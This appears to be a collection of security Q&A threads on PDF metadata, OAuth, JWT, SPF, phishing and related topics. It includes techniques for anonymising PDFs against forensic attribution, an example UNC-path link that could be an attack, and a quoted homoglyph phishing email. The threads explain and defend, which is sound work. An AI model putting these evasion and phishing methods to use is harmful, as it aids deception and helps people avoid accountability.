How to remove meta and sensitive data from PDF file? I've some PDF files generated from different sources (such as web-browser, Photoshop, etc.) on Unix.

How do I make sure PDF doesn't contain any sensitive information such as IP address, OS, user name, full name, or whatever could be stored and other digital watermarks/fingerprints?

So as result none of forensic analysis won't disclosure its author and its origin based on the file content.

Ideally I'd like to know which Unix command-line tool would help me to achieve that (similar to pdftotext, but I'd like to keep the same format).

You can transform the PDF into uncompressed form using pdftk. Most metadata will then be immediately visible (and removable, provided you repair the file with pdftk afterwards). Same goes for "non-immediately-PDF" code (you can see that with tools such as PDFid). You can for example easily alter the trailer where fields such as /ID are to be found:

/Info 104 0 R
/ID [<81b14aafa313db63dbd6f981e49f94> <81b14aafa313db63dbd6f981e49f94>]

(in the case of ID, just replace with a sequence of random hex of the same length. No repair necessary. pdftk compress command is advised to save disk space).

It much depends on what kind of redaction you're trying to achieve. "Semi-inadvertent" metadata such as the ID (above) can be easily removed either directly or by re-saving the PDF removing unused objects and previous revisions of extant objects, which could contain sensitive information either intentionally or unintentionally:

  7.5.6       Incremental Updates

  The contents of a PDF file can be updated incrementally without rewriting
     the entire file. When updating a PDF file incrementally, changes shall be appended
      to the end of the file, leaving its original contents intact

Some filters may contain garbage without this compromising PDF legibility (for example the DCTDecode filter used to store a JPEG entity within the document. The filter supplies its own data size field internally; so what happens is that the "outer" PDF reader gathers the DCTDecode-encoded object and passes it to the filter, which gives back a raster image. The original object might contain extra bytes that the filter will ignore and discard, and which may be meaningless, or may contain pieces of random memory from the encoding computer (and possibly sensitive information), or may contain the same intentionally. Actually, being a JPEG, a DCTDecode object could contain EXIF information and this might be sensitive (e.g. GPS positioning and the like).

For example if I take an image containing a copyright

$ exiftool istockphoto_2425717-getting-a-call.jpg | grep Copyright
Profile Copyright               : Copyright (c) 1998 Hewlett-Packard Company

and convert it to PDF

$ convert istockphoto_2425717-getting-a-call.jpg test.jpg

...the original string is still there:

$ strings test.pdf | grep Copyright
Copyright (c) 1998 Hewlett-Packard Company

To remove it, I would need to extract the JPEG(s), remove the EXIF and other data tags from them, and then re-embed them back. It could conceivably be done using e.g. iText, or a state machine identifying the streams

...
/Filter [/DCTDecode]
/Width 364
/Height 380
/BitsPerComponent 8
/Length 20514
/ColorSpace 8 0 R
>>
stream
ÿØÿà^@^PJFIF<this is the JPEG file...>
...
endstream
endobj
...

saving the stream object as a JPEG, manipulating it, and writing it back. Now the stream length needs to be corrected, and the index offsets will be changed, yielding a broken PDF; pdftk can reconstruct the index from this broken PDF generating a clean one.

Yet other kinds of metadata, designed for stealth, may not be so easy to detect, much less remove. The possibilities there are endless. Some of the sneakier:

PDF has an internal index, so the actual ordering of most object entities inside the file does not matter. Find a metric - lexicographic could do - to define a "natural" order of those objects. If you have N objects, you have N! possible shuffles of those objects, and can then encode log2(N!) bits of information in the way they are ordered. Remove with: a tool capable of reordering the objects in the PDF file.
Fonts can map arbitrary symbols to glyphs and glyphs are ordered within a font. Again you can choose the mapping so it carries information. Remove with: most PDF "font optimizers".
Several objects allow positioning at much higher precision than actually needed for typesetting. Assuming there's no typesetting difference between the coordinate values 3.1415 and 3.1416, a character positioned at 3.1415064 could "encode" the ASCII code 64. Remove with: some tool (iText) capable of extracting and processing every entity in the PDF and align it to a grid with arbitrary precision (here 0.0002), thereby rounding 3.1415... to 3.1416.

A not always optimal, but working, way of doing all the above is to regenerate the PDF from scratch by e.g. printing it to another PDF device after typesetting it in a different format. A radicalization of this approach is to typeset the PDF onto a raster canvas and generate a PDF out of that. The resulting PDF will be far bulkier since it now basically consists of a series of TIFF or JPEG images, one per page. It will also be, of course, non-searchable.

It is still possible to steganograph information that will survive such treatment by using visible character kerning encoding, that will be replicated on the rasterized version. Some "safe" documents are typeset that way - if the document leaks, accessing a copy of it will reveal the identity of the responsible party; two copies assigned to different personnel, superimposed against a sunny window, will show the characters aren't exactly aligned in the two copies. A scheme used to do the trick is called QIM (other schemes exist).

Depending on the degree of control the encoding party has on the document, you might therefore never be sure you've successfully "anonymized" a document. For sufficiently large values of paranoid, even going all the PDF2ASCII way might not touch information encoded in typos or, who knows, synonym choice (I think I still have some texts that demonstrate such an encoding, but unfortunately they're in Italian :-) ).


OpenID Connect Web Message Response Mode and XSS When using the web message response mode spec with OpenID Connect for silent authentication, what prevents an attacker leveraging an XSS attack from registering a "message" listener and intercepting authorization messages (a code or token, depending on the flow)?

In the spec, going off the Simple Mode, the Main Window creates an "Authorized Window" iframe and sets the source of that iframe to the authorization endpoint.  If the user is authenticated, the Authorized Window uses the HTML5 messaging API to post a message to the Main Window.  That message contains an authorization code in the code flow, or an id_token (and possibly an access token) in the implicit flow.

If an attacker successfully leverages an XSS attack, is there any way to prevent that attacker from listening to message events and intercepting a code/token?

As an aside, Auth0 support the web message response mode which is what got me thinking about this scenario.  It can be used in a single-page application to refresh access tokens without reloading the page.  Auth0 and the security community in general recommend against storing access tokens in local storage specifically because of XSS attacks.  Does the web message response mode present another XSS attack vector?

Auth0's Silent Auth: https://auth0.com/docs/api-auth/tutorials/silent-authentication
Web Response Mode Security benefits: What is the security benefit of using PostMessage instead of a callback URL in OAuth/OIDC?
Auth0 on storing tokens: https://auth0.com/docs/security/store-tokens#single-page-apps

Any response modes for SPAs won't prevent response parameter leakage via XSS.

However, you can use PKCE and store the PKCE code_verifier in memory, then only your JS caller can exchange given authorization code with access token.


Temporarily store master password locally in online password management system I am creating an online password management system.

I store saved passwords using encryption with a master password.

In order to decrypt the password, the user needs to input the master password (as the master password is not stored on database for security reasons).

However, my issue is that let's say the user is already logged in, I don't want the user to enter his password 8 times, because he looked at 8 different passwords.

The alternative is to store the password locally, such as a cookie, for a short period of time after the user has logged in. That way he/she dosen't need to reinput their password every single time. This cookie should also be encrypted using a symmetric algorithm, where the key is only stored at the server.

Is this a good approach? Is there a better approach?

Take his password to decrypt a copy of the entire database; and re-encrypt that using a locally generated key, from some good seeds.

Store this 're-encryted' version locally only and use the time sensitive key to decrypt this as needed. If any changes are made then re-request the password  (as you should anyway for changes) for when they are sent.


CSRF and XSS protection via Header & Cookie-based JWT (tokens)? I have built a REST API, where users login, with extra permissions in some cases (or restricted to certain areas of the site; or even admin privileges).

What I've built:

JWT authorization (added to each request from ES6 [Aurelia] client)
Backend Python [Flask] checks JWT for signature, invalid errors, expiration every time. All checks occur before each request... In the headers ("Authorization Bearer") to backend.
Redis cache, timed set values, for storing sessions to reduce constant signature checks on each request (overriding the above a bit).
Cookies restricted to domain by default is the main delivery of the initial authentication. Cookie brings JWT produced in Python.
HTTPS for transmissions
All my requests are application/json, aside from maybe 2 forms, and a number of GET requests which are just retrieving data
I don't have anything where user info is being printed out based on the cookie or cache value.
JWT has the domain set. Issued token must match IPs forwarded.

I don't believe (I could be wrong) I need to create an XSRF-token claim inside the JWT separately. Both the JWT & Redis cache items have expiration short enough (30 minutes). Not a single thing can be operated without logging in except for the redirect paths that take you to the login form. All major administrative functions require "confirmation" and "relogin" sometimes.

My goal is to knock out multiple birds with one stone through the JWT.

What improvements can I make to this? Am I vulnerable to certain types of attacks?

The authorization header will protect against the csrf. Your responses in json will be XSS protection mechanism. With the information you provided on the JWT claims, seems the token do not have claims to handle token revocation mechanism. This is to handle the corner case of stolen token. It is advisable to have specific token revocation mechanism as per my view.

Of course, this is post attack mitigation strategy and this will not prevent any attacks per say.

Sanjay


How to check executable code signing signatures? How can I see all code signing signatures an executable has?
I know that requests for a tool are usually considered as opinion based, but I really can't find one and I don't expect many answers.

Background:

I have an executable that was signed by the vendor (for UAC purposes). The application was then tested by me and I apply my signature using Windows SDK 8 signtool /as (append signature).

I cannot see the certificate in Windows Explorer, although it says "certificate list".

Signtool /verify does not show the certificate (maybe because it reports an error for a not trusted certificate before).

I cannot get the certificate with C#, because the the class supports only one certificate (the first one). For the C# solution, I posted a question on StackOverflow.

Googling for freeware, I could not find any tools which would display all certificates. Even the demo version of the commercial PE Explorer doesn't show it.

Update 2015-06-01

SysInternals Sigcheck (as proposed in an answer) shows only the first signature plus the certificate chain.

In the meanwhile, there must have been an update to Microsoft Windows. Windows Explorer now shows a list of certificates.

You can use the free osslsigncode tool for this:
https://github.com/SummitRoute/osslsigncode-fork

  osslsigncode verify my.exe

UPDATE: The binary installed through MSYS2 using the command below is a better option (updated and non-Cygwin dependencies):

  pacman -S mingw-w64-{i686,x86_64}-osslsigncode


How to help users manage password portfolios based on risks of compromise? A framework for modeling password management risks and costs, and the beginnings of a good strategy for users to help them manage passwords for their often large portfolios of accounts is outlined in the paper Password Portfolios and the Finite-Effort User: Sustainably Managing Large Numbers of Accounts | USENIX Security 2014 (note the full pdf text is already available).  It is covered e.g. at

Mathematics makes strong case that “snoopy2” can be just fine as a password | Ars Technica
Microsoft researchers: Re-use the same password across sites likely to be hacked | Network World

Basically, since it is impossible for users to remember good, unique passwords for dozens or hundreds of different accounts, and since some accounts have low risks to the user if they are compromised (e.g. passwords to log in to a newspaper site to read stories), they explain that "password re-use can be part of a coping strategy".  They suggest that people can group together accounts with high value plus low probability of compromise, and those with low value plus high compromise probability, and reuse the same password within each group.  Their analysis covers password managers, which shift some of the risks around, to some degree also.  On that topic see also How to evaluate a password manager?.  I'll add that hybrid strategies can also make sense, e.g. using a password manager for some groups of accounts.

They note the need to understand and explain how users can  trade off user effort at remembering passwords with the probability that the password is compromised.
This site has gathered some wisdom relative to that: What is your way to create good passwords that can actually be remembered?

They also note the need for future study to understand, model and explain the losses  due to compromises of various types of accounts.  So my question for the risk-management experts and those adept at explaining things in ways that connect with users is, how can we best help users understand the kinds of risks they face if accounts of various types are compromised?  E.g. compromise of a password for an online bitcoin wallet presumably means the unrecoverable loss of all the bitcoins stored there.  But compromise of the password for reading articles on a newspaper site may have little or no meaningful impact on the user, and in fact some groups of users try to share accounts and passwords for these sorts of sites with their friends.  Other kinds of accounts are traditional banks (with some hope of recovery of stolen funds), social media, email, work-related passwords, web services, wifi access, encryption keys, etc.   Sometimes the losses may not be obvious to the users (e.g. risks of identity theft, reputation loss, etc).

This is an open research question, actually.

It's a bit hard for users to cope with security advice; just like choosing strong passwords takes time, rationalising over password reuse does so as well. You're probably aware of The Compliance Budget and More is Not the Answer since you cite Herley.

So, it's unlikely that a conscious security awareness program is fruitful in the general case because it'd take up more effort, time, cognitive load for users (if they decide to pay attention to it at all) and this is what is already spare. It'd be very difficult to experimentally validate that a password strategy awareness scheme pays off. You'd need to show that the time and effort investment is made voluntarily by users in their real-world settings (something extremely few people in our field acknowledge because it'd make them publish slower :) ), and that the cost associated to it is significantly lesser than the benefit it provides in simplifying password handling for end-users. You'd need to do that for various systems and participant demographics to have a viable end-user strategy.

You could do training on specific populations for which the training time can be acknowledged as part of their primary occupation. For instance, system administrators and executives are high-risk populations and their employers would be wise to explicitly allocate security training and security management time for them.

For the general end-user population, it's probably better to outline the value of assets to be protected when choosing a password rather than insisting on using strong and unique passwords. For instance, email, online payment and bank accounts must retain unique passwords. Other sites should allow more flexible options such as federated ID, one-time passwords (based on email/phone) and weak passwords. Since you're citing current research from some of the topic's world experts, you probably know there's nothing better out there already.


Protecting a web app from unwanted vulnerability scanners I have a web application and I keep getting unwarranted offers from "security experts" and the results I get are pretty convincing. Somehow, they send me a report of PHP files running and ways on how to fix them.

The scans are using Acunetix and BeyondTrust software.

Is there a method I can use to protect my web application from such unwanted scans?

Is there a method i can use to protect my web application from such unwanted scans to my web application?

You can protect your web application by:

using secure coding practices,
diligently patching software,
implementing a Web Application Firewall,
regular approved scanning of the type offered by these 'security experts' (and remediation of their findings),
Application Security Testing,
(not an exhaustive list.)

Note that in these cases you'll still get scanned - both by these 'security experts', who are contacting you after the fact, and by the 'hackers', who you don't know about because they haven't contacted you.

As long as your application is on the Internet, it'll get scanned.  Constantly.


How does concatenating a user password and a YubiKey OTP work? I use a Yubikey to log in to a VPN. When logging in, I supply a username, and then type a password, and without hitting return, touch the Yubikey.

As far as I understand, and from experimenting, the Yubikey looks like a keyboard to the OS, and it appends a one-time, encrypted, string, finishing with an EOL. This is explained in this question

However, I understood that good authentication works by sending a hash of the user's password to the remote server, and this works if I'm sending just a OTP. if If the user password+Yubikey OTP string is hashed on the client, how is it disentangled to be verified on the server? Is my password stored un-hashed on the server?

You are mistaken in your understanding. The security of an authentication system is defined mostly by the type of attacks it will protect against. Hashing the user password is very often part of authentication systems but usually not in the way you described.

Typically, in order to store  the password in a manner that is considered secure (salted, hashed, stretched) it will required the password to verify to be provided in clear text.

The security of the actual password while in transit is typically left to connection encryption (usually, TLS).

The addition of a OTP system does not change the above: validation of the OTP is typically done without directly involving the password.


Is this a security issue at the Remote Host or the Local Host? The problem is as follows:

In the local host machine (let's call it 'A'), there is a apache server hosting some web application.
A user use the local host machine to access a web application site hosted on a remote host machine (let's call it 'B').
The user notice that the apache log file keep on having the following message as follows when he access the web application site hosted on 'B':

    127.0.0.1 - - [28/May/2013:08:49:20 +0100] "PROPFIND /test2/desktop.ini HTTP/1.1" 405 1810 "-" "Microsoft-WebDAV-MiniRedir/6.1.7601"
    127.0.0.1 - - [28/May/2013:08:49:20 +0100] "PROPFIND /test2/desktop.ini HTTP/1.1" 405 1810 "-" "Microsoft-WebDAV-MiniRedir/6.1.7601"
    127.0.0.1 - - [28/May/2013:08:49:20 +0100] "PROPFIND /test2/desktop.ini HTTP/1.1" 405 1810 "-" "Microsoft-WebDAV-MiniRedir/6.1.7601"
    127.0.0.1 - - [28/May/2013:08:49:20 +0100] "PROPFIND /test2/desktop.ini HTTP/1.1" 405 1810 "-" "Microsoft-WebDAV-MiniRedir/6.1.7601"

Every time the user use the web browser to access the 'B' web application from the local host machine 'A', the local host machine 'A' apache log files will keep on pouring the above messages.

So, is this 'A' server security issue or is this 'B' server security issue?

127.0.0.1 is "localhost" and can be contacted only from the machine itself. So the connections you see in the logs must come from something on the machine 'A' itself.

PROPFIND is part of WebDAV, which can be viewed as an extension on HTTP to turn it into a file server. "Microsoft-WebDAV-MiniRedir" is a Windows component which allows folders exported with WebDAV to be accessible as UNC shares; in other words, if there is a Web server on localhost, which serves files through WebDAV, and some application wants to access these files with a path like "\\localhost\test2\desktop.ini", then the Web server will receive connections like the ones you see in your logs.

So my guess is that there is something related to the browser which tries to read a file called "\\localhost\test2\desktop.ini"; the WebDAV mini-redirector then tries to convert that into a HTTP PROPFIND request to the Web server on localhost. That Web server happens not to do WebDAV at all, resulting in an error response (405) and a log entry.

The good question, now, is: what is trying to read "\\localhost\test2\desktop.ini" ? A possible scenario is the following: the Web page served by machine 'B' contains a link, e.g. something like this:

<img src="\\localhost\test2\desktop.ini" />

and such a link could be the result of a configuration error on 'B', or maybe, possibly, some sort of automated attack attempt (the site on 'B' trying to gain some access to files on 'A'). I find the latter relatively implausible (it would be a relatively clumsy attempt) and, in any case, it did not work (your Apache server does not talk WebDAV). To make sure, search for such a link in the Web page source as served by 'B'.

Other scenarios to investigate include a proxy configuration on the browser, or some "security tool" which tries to scan files in search of virus, and may do so on remote files through WebDAV. In the jungle of Microsoft products, stranger things have appeared. Some Googling shows that other people have found such log entries, e.g. there and there.


Predictively Calculating the SHA512 of several files, including the one they are stored in Say I have 55 files. 5 are data files, 1 of which stores the hashes, 50 are scripts.

I need to build an IDS for the files themselves which constantly opens the dedicated hash file, reads the hashes, then checks the files they were calculated from to assert a match. If it fails. an intrusion has occurred and the SysAdmin is notified.

This is where I start to have issues.

After running an external, local script on the other 54 files, I store their hashes in the 1 dedicated hash file. Now, I need to calculate the hash of this dedicated hash file, as if the hash of itself is already in itself.

I have no idea where I would begin other than a "brute lockdown" method, which is not viable as I need to take as little clock time, CPU Cycles, and disk time as possible.

Bonus points for prediction and storage of encrypted hashes.

Also, Apologies for any confusion, I can't explain very well.

Update: I was asked to explain the problem, and why this solution would solve it, so, here goes.

Problem:
Say I have several terabytes of personal information on people from all over the world that is stored securely on a server, and even more securely transmitted to client software as needed. High value information, at that.

The encryption is more than covered - to the point that anyone who was hell-bent on getting this information would make an attempt to modify the scripts that secure, read, and write the data over attempting to undermine the encryption.

This raises the issue of detecting when these script files are modified on the fly, assuming the malicious person can physically access the server.

Most event logs are insecure and untracked, so they could be easily erased.
Any network transfers to detect changes would fail, as even the most secure data wouldn't be hard to crack when you have the source in front of you.
You can't trust humans - ever, and the server farms aren't owned by me, so physical security is out of the question.

How the solution would fix it:
The IDS would run once every 10ms, scanning the files to make sure the hashes match the ones on record. Assuming one update every three months to the scripts and data, the hashes and updates would come pre-packaged, so they couldn't be modified by the program itself outside of the development environment. This would be verified once every system boot, but again, this data could be modified with physical access, however, with routine remote checks running every few minutes, shouldn't be a major issue.

TL;DR: the issue boils down to making an unaccessable, uncrackable source, and data network eliminating all potential problematic variables from RAM dumps, to remote execution, to physical modification.

Apologies for the rambling.

You can't. If you could, it would defeat the preimage resistance of the hashing function - you would be finding an input which corresponded to a given hash, effectively.

Additionally, if you could, so could an attacker, meaning they could generate a valid hash for any files they modified.

As worded, this question sounds like you've come up with a solution, but it might not be a viable one - it may be better to explain the problem that your solution attempts to solve, and see if anyone can suggest a more viable method.


Does the use of the non-registered domains in SPF records introduce a security risk? Recently I was reading about the Sender Policy Framework (SPF) record syntax on OpenSPF.com.

Sender Policy Framework (SPF) is a simple email-validation system designed to detect email spoofing by providing a mechanism to allow receiving mail exchangers to check that incoming mail from a domain comes from a host authorized by that domain's administrators. - Wikipedia

I noticed that the SPF syntax allows us to use the "exists-mechanism". The following is given as an example:

In the following example, the client IP is 1.2.3.4 and the current-domain is example.com.
v=spf1 exists:example.com -all.
If example.com does not resolve, the result is fail. If it does resolve, this mechanism results in a match. - OpenSPF.com

If I'm correct, only example.com is allowed to send email, all other senders are marked as SPAM because of the fail -all flag. Let's assume that I used the above SPF-record on the domain example.org.
So, example.org allows example.com to send emails in name of example.org.
Now let's assume the the domain example.com expires and is free for registration again and the above SPF record on example.org stays unchanged (read: pointing to example.com). In this case the SPF record of example.org will fail on all email since the only allowed domain doesn't exist anymore.
Now if an attacker registers the available example.com domain. Then he is able to send SPAM in name of example.org, while the SPF record won't stop it from doing so?
In other words, should the use of the SPF exists-mechanism be marked as a potential risk? Or, does the use of the SPF "exists" mechanism introduce a security risk?
The same applies to include:, ptr:, a: and mx: when they point to an non registered domain.

You didn't really get the meaning of the EXISTS, I believe.
What you describe (allow example.com to send mail from example.org) would be INCLUDE! INCLUDE:example.com means see the spf record for example.com and apply the rules.

EXISTS is much simpler. It means "If the given DN resolves to any address, it will match (no matter the address it resolves to)."

So the rule "v=spf1 exists:example.com -all" is pointless really. It means if example.com has any IP set, pass the rule, else fail.

The EXISTS rule only makes sense with macros. For example, you could use v=spf1 mx -exists:%{ir}.sbl.spamhaus.example.org ?all to make the recipient check a IP blacklist and fail if the sender IP address is blacklisted.
You could also do things like check if the user exists for the domain and a lot more powerful stuff.

To your question if this should be "marked as a potential risk".
No, there is not more risk than in any other SPF setup. If you setup SPF wrong, you could create problems. But this is always a risk. If you use something wrong, bad things can happen. EXISTS or even INCLUDE is not any more risk than other SPF options.


what is the best keylogger for security uses? Today we were robbed. A thief come to our home at night and stole some stuff including my brother's laptop.

I think that the right thing to do is to download a keylogger on my PC, just in case...

I want a free keylogger, which has GPS to locate the PC, I know professional thieves will not connect the PC to the internet or sell it before they format it, but not all thieves are professionals... we'll never know... I have to do my homework and secure my PC as much as possible and hope for the best.

I am on Windows XP 32 bit, SP3

There is a handy tool called prey that allows you to track your devices (laptops, tablets and smartphones) and reports back to you.  If your device becomes missing you tell prey and it jumps into action.  The device begins trying to 'phone home' and will report its IP and geolocation information.  In the case of smartphones or laptops with built-in gps it reports that data as well.  Laptops report Wifi access points in the vicinity and reports those to calculate the location of the device.   When prey is running on a laptop with a built in webcam it even takes  pictures of the person using the device.  Prey does not come with a keystroke logger however it is open source and one could be built into the code or you could add another key logging solution if you really want to see what is being typed however I would think the location functionality is really more important than seeing what a thief is searching for on your pc.


Is it possible to prove that a forwarded email has been tampered with prior to being forwarded? I have requested that an old email exchange between myself and HR be forwarded to me by a previous employer. They complied with the request but I suspect that the body of the exchange which they forward to me was edited prior to being forwarded.

My previous employer sent me the email exchange by copy/pasting it into the body of a new email.

Is there anyway to confirm that the body of the original exchange was tampered with?

Usually you cannot detect if a mail was tampered with. You can only detect this if the mail was signed and the person you suspect to tamper with the mail is not in possession of the key needed to sign the mail again. In theory it might be possible to store a fingerprint or similar for all delivered mails and thus check if this is the original mail, but I doubt that there is something like this in your at this employer, because it is not common.


Risk management with software code analysis I am a programmer by day and I am working on a project that is focused around risk management based on PCI-DSS controls within an organisation.

I have been thinking lately that a lot of PCI-DSS controls are focused on software patches, network diagrams and end of life dates etc but if the organisation create their own software should we be adding software code analysis into this area to find possible vulnerabilities and exploits before it goes live?

I know all code should be tested and you can get pen testers to check software but why shouldn't code go through an analysis toolkit before it is released to give you a possible threat level?

There is no reason it shouldn't, in fact, that's a great way to do an initial check.  The reason it isn't specifically listed is because the pen testing and manual analysis should do a much better job than an automated analysis (and may well include one as part of the review.)  The point is that automated testing alone isn't sufficient.


If the user registers for my site via e.g. Facebook login, should I force the user to also create a password on my site? Most sites, when you register via e.g. Facebook, redirect you to a page afterwards asking you to enter additional information that the site needs. Very often this includes setting a password for the site.

I don't understand why this is the case.

I am creating a site, and want to allow the user to register either via e.g. Facebook, or create an account directly on our system.

If they've registered via our system obviously they have set a password, and there is a settings screen once they've logged in where they can connect their account. My plan would be, from then on, then could log in via Facebook.
If they've registered via Facebook, they can obviously log in via Facebook. If they like, they could set a password in the settings screen later. That would allow them to log in with their email address (that we get from the Facebook login) and their new password. Or they could never do this, and continue always logging in via Facebook.

Is there a problem with this approach? Why do other sites force you to set a password on their site after you've registered via a social network?

The only reason I can think of for which this procedure can make sense is to prevent someone who has physical access to your computer/smartphone from logging in the site. Given that the Facebook session is usually opened for most users, anyone with access to the computer/smartphone of these users could get access to the site, impersonating them.

If you force the "attacker" to introduce a new password even after the Facebook login, you're eliminating this threat.

In any case, when physical access is gained, security is rather compromised.

(I would have liked to put this as a comment, but I have not enough reputation)


Pursuing a career in Cybersecurity I'm getting ready to start my undergraduate studies and I am little confused as to where I should place my studies. I like solving puzzles, analyzing data fun and find exploits and pentesting. I want to do this as a carreer in some way, but I am not sure where my focus needs to be when getting a Bachelor. I found the 5 following studies that are possible options:

Bachelor of Science in Computer Science
Bachelor of Science in Information Technology
Information Studies (IFS), Concentration: Data Science and Analytics (IDSC), Degree: Bachelor of Science
Information Studies (IFS), Concentration: Information Security (IISC), Degree: Bachelor of Science
Business Analytics and Information Systems (BAIS), Concentration: Cybersecurity (CYBC), Degree: Bachelor of Science

I've always been under the assumption one follows the Computer Science route because of the strong need to understand how to code, memory operations, etc. for malware analysis and more. So I guess the real question is, which would be the most beneficial for someone wanting to do cybersecurity based analysis with a strong desire to do blue/red team operations?

Background information if this helps: Currently, I do IT work and have a decent understanding of coding from building small projects on the side. I've also been playing with Linux and Windows Servers since high school and in my spare time I've also watch cert exam videos but never proceeded to get certifications.

Each school's programs are different, and we can only offer feedback in general terms.

Computer Science tends to be more "R&D" focused at the code and science level. Great for designing new approaches to solve complex problems using code as a tool.

Information Technology tends to be more general at the system and product administration and architecting level. Great for learning how to design a network to meet the needs of business.

Data Science and Analytics tends to be advanced stats on steroids. Great for learning and applying statistics and machine learning techniques to find patterns in noise.

You are correct to be confused because all 3 areas could be really helpful, at least tangentially, to cybersecurity. There are 2 questions you need to ask:

What are my specific learning goals and what do I hope to walk away from the course being able to do?
Does this specific program from this school meet my specific goals efficiently?

Consider that most of what you need to know about coding or networking to do "red/blue teaming" can be learned more efficiently as individual classes or on your own. On the other hand, you could do a CompSci degree and learn security on the side. That balance is entirely up to the program you choose, your own resources, and your goals.

Don't follow a path because others have done it. This field changes so quickly that whatever was normal 5 years ago is archaic now. For instance, 20 years ago, I taught at a technical college where most of my students were CompSci grads who were disgusted that their degree was so theoretical as to be useless to be able to actually code anything. Now, most CompSci programs I know have corrected this problem and are far more practical.

Whatever you choose, be prepared for this fact: if you choose to enter cybersecurity you will NEVER STOP BEING A STUDENT! If you choose CompSci, you will need to study infosec on the side. If you choose infosec, you will be studying compsci on the side. Once you graduate, you'll be studying both on the side. From this perspective, then the only real question is about your goals and how to be efficient.

The best in cybersecurity is to crush your hackers, drive them from your network, and hear the lamentations of their modems. But be prepared to amass a colossal library to do all that.


How am I being scammed? I have received an email, claiming to be from Microsoft.

Here is a snapshot of it:

Google marked this email as spam with the following notice:

These are some header details:

Now, the text of the email is clearly nonsensical, but the reply address seems legit and the email does not contain any obvious links. What is the attacker  trying to achieve here?

I do not see any evidence from the e-mail you posted that a viable scam could be operated from the message.  However, if you post full details maybe this will change.  But based on the screenshot, and the information provided I can't conclude there's malicious intent.

A check of the SPF records for email-2.microsoft.com shows:

v=spf1 include:customers.clickdimensions.com ~all

That means clickdimensions.com is known to handle the e-mail traffic out of Azure, and Microsoft themselves uses them.  However, the email was sent from email.clickdimensions.com instead of cusotmers.clickdimensions.com; which may explain why the message was marked as spam.    Alternatively it is possible someone else is using ClickDimensions CRM to try to masquerade as microsoft -- but the email lacks evidence saying that.

Because both the reply-to addresses and the from address are @microsoft.com, anyone operating a scam would have to work at Microsoft or have hacked someone with access to that address in order to receive replies.  Microsoft commonly uses group emails at microsoft.com for support so this seems pretty normal.

It makes sense that they would want VMs with no load on them, that they are giving you for free as part of MSDN, not to be left on because you logged in to play with it and never logged back to use the VM.  They probably have a lot of these "orphan" VMs and these e-mails may make it possible for them to reclaim a lot of CPU and Memory they're giving away for marketing reasons.

The question is: Are you an MSDN subscriber who has spun up an Azure instance? Is this e-mail completely out of left field or within your usage pattern?

If you do use Azure and MSDN, in the end this message is more likely than not legitimate, just poorly done by low-level likely outsourced support staff.


Is it possible to track by Bluetooth headphones Is it possible to find bluetooth device if I have MAC of the device.

Not unless you are in range of the device.

And even then, there are caveats, such as

You can only track signal strength, so you need at least three measurement devices to track a location approximately.
You can't know if a one MAC address corresponds to one or multiple devices.
You can only track if Bluetooth is activated and actively sending out beacons or responding to requests


Why do they put cyrillic letters in phishing email? I have just received this email:

Fог уоuг ргоtесtіоn, уоuг Αррlе ID іѕ аutоmаtісаllу disabled.

Wе hаνе ргеνеntеd аn unuѕuаl ѕіgn іn аttеmрt оn уоuг Αррlе ассоunt.Тhіѕ ассоunt hаѕ Ьееn lоскеd Ьесаuѕе ѕіgnіng іn fгоm а nеw lосаtіоn ог fгоm а dіffегеnt dеνісе. Рlеаѕе геνіеw thе ѕіgn іn dеtаіlѕ Ьеlоw:

Υоuг ассоunt ассеѕѕ hаѕ Ьееn lоскеd fог thе fоllоwіng геаѕоn(ѕ):
Wе сhеск уоuг ассоunt lоgіn wіth оthег dеνісе.
Υоuг ассоunt hаѕ Ьееn lоскеd untіl thіѕ іѕѕuеd hаѕ Ьееn геѕоlνеd, wе wіll wаіtіng fог 1 wеек ог уоuг ассоunt hаѕ Ьееn lоскеd регmаnеntlу.
Whаt tо dо Νехt:
Рlеаѕе Сlіск thе lоgіn Ьuttоn Ьеlоw tо уоuг Αррlе ассоunt аnd ргоνіdе thе геquеѕtеd іnfогmаtіоn Ьеfоге 1 wеек. Тhгоugh thе ассоunt геνіеw, іf wе dоn't гесеіνеd thе іnfогmаtіоn Ьеfоге thіѕ dеаdlіnе, уоuг ассоunt ассеѕѕ wіll Ье lоскеd регmаnеntlу.

Why are these letters used: Ь, ν, к? It makes easier to detect that the message is not genuine.

This is probably for avoiding automatic spam detection, which is often based on the existence of keywords like locked. And locked won't match lоскеd so the spam filter lets the mail go through, and inattentive users might get tricked.

They also use the cyrillic letters in URLs because they often are non-already taken domains (free to be bought by the spammer) and they look-like the legitimate URL to users, so they often end up leaving their credentials of lucky.com to the phising website luскy.com


Zeus for iOS devices Is there a known variant of Zeus which attacks iOS based mobile devices?
I have read about versions for Android and Symbian , wondering if iOS is vulnerable to it as well.

To my knowledge, there has never been a version of ZitMo (Zeus in the Mobile) for iOS.  The variants for Android and Symbian have been fairly rudimentary, the most common Android one was just an unsigned APK that users were tricked into installing.  This is not possible in iOS without jailbreaking or compromising the device due to the requirement that iPhone apps be signed and delivered via the app store.


Can https be used instead of sftp for secure file transfers? My company works with financials, and we are required to transfer files containing non-public consumer information securely between our company and our clients.

The usual solution is to go with sftp for file transfers, however many of our clients are not tech-saavy, and getting them setup with sftp software and teaching them how to use it is very time consuming and often frustrating for both parties.

As an easy solution, I created a very basic website hosted over https that allows users to login using their ftp credentials and upload/download files through a web interface.

But can https be considered the equivalent to sftp as a way to securely transfer a file?

HTTPS and SFTP when used properly are equally safe.  The underlying encryption algorithms in practice are both functionally equivalent -- neither can be broken in practice by directly attacking the cryptographic protocols.

However, in practice with non-tech savvy user, HTTPS is slightly weaker in my opinion.

There are attacks on both that can be launched on uncareful, non-tech savvy users.   The attack on SFTP as Rell3oT said is that typically you initially do not know the public key of the SFTP when you first connect, and remember it for all subsequent connections (though the SSHFP DNS record defined in DNSSEC could solve this issue, but are not currently widely-used) .  This means an attacker who rerouted internet traffic initially to their fake sftp server could capture your data, if they targetted the attack on someone connecting to the sftp site for the first time from a computer (that does not have the public key saved).  This attack cannot happen on subsequent connections.

However, with https there are several more potential attacks introduced that non-tech-savvy users could get tricked into.

